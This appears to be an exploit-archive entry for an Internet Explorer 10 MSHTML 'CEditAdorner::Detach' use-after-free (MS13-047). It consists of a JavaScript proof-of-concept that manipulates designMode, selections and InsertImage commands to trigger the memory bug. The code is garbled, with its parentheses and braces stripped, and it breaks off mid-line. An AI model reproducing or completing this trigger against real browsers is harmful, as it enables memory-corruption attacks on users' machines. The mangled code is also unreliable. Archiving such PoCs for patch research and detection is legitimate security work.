Microsoft Internet Explorer 10 - MSHTML 'CEditAdorner::Detach' Use-After-Free (MS13-047)
var oWindow = window.open"window.xhtml"; setIntervalfunction try oWindow.eval"" + function document.designMode = "on"; document.execCommand"SelectAll"; var oSelection = window.getSelection; oSelection.collapsedocument,1; document.execCommand"InsertImage", false;...